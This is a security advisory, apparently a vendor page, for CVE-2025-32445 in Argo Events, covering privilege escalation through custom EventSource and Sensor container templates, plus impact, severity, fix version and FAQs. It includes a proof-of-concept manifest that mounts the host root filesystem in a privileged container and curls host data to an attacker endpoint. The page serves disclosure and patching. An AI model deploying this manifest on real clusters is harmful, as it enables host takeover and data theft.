CVE-2025-32445

A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges.

Details:

The EventSource and Sensor CRs allow the corresponding orchestrated pod to be customized with spec.template and spec.template.container (with type k8s.io/api/core/v1.Container), thus, any specification under container such as command, args, securityContext , volumeMount can be specified, and applied to the EventSource or Sensor pod due to the code logic below.

    if args.EventSource.Spec.Template != nil && args.EventSource.Spec.Template.Container != nil {
        if err := mergo.Merge(&eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil {
            return nil, err
        }
    }

With these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under template.

Here is an example that demonstrates the vulnerability.

apiVersion: argoproj.io/v1alpha1
kind: EventSource
metadata:
  name: poc-vulnerable-eventsource
spec:
  webhook:
    security-test:
      port: "12000"
      endpoint: "/webhook"
  template:
    container:
      image: ubuntu:latest
      command: ["/bin/bash"]
      args: [
        "-c",
        "apt-get update && apt-get install -y curl && while true; do
         rm -f /tmp/data;
         echo '=== containerd socket ===' > /tmp/data 2>&1;
         ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1;
         echo '=== proof of host access ===' >> /tmp/data 2>&1;
         cat /host/etc/hostname >> /tmp/data 2>&1;
         curl -X POST --data-binary @/tmp/data http://<attacker-controlled-endpoint>:8000/;
         sleep 300;
         done"
      ]
      securityContext:
        privileged: true
        capabilities:
          add: ["SYS_ADMIN"]
      volumeMounts:
        - name: host-root
          mountPath: /host
    volumes:
      - name: host-root
        hostPath:
          path: /

Credits

This vulnerability was found & reported by:

@thevilledev

The Argo team would like to thank him for his responsible disclosure and constructive communications during the resolve of this issue.

• Multi-tenant Clusters:

  • Tenant isolation broken
  • Non-admin users can gain host/cluster access
  • Access to other tenants' data

• Security Model Bypass:

  • RBAC restrictions circumvented
  • Pod Security Policies/Standards bypassed
  • Host system compromised

CVE-2025-32445 has a CVSS score of 9.9 (Critical). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.9.6); upgrading removes the vulnerable code path.

Kodem intelligence

A patch for this vulnerability has been released in the following Argo Events version , which only limited properties under spec.template.container are allowed.

v1.9.6

1. What is CVE-2025-32445? CVE-2025-32445 is a critical-severity security vulnerability in github.com/argoproj/argo-events (go), affecting versions < 1.9.6. It is fixed in 1.9.6.
2. How severe is CVE-2025-32445? CVE-2025-32445 has a CVSS score of 9.9 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/argoproj/argo-events are affected by CVE-2025-32445? github.com/argoproj/argo-events (go) versions < 1.9.6 is affected.
4. Is there a fix for CVE-2025-32445? Yes. CVE-2025-32445 is fixed in 1.9.6. Upgrade to this version or later.
5. Is CVE-2025-32445 exploitable, and should I be worried? Whether CVE-2025-32445 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-32445 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-32445? Upgrade github.com/argoproj/argo-events to 1.9.6 or later.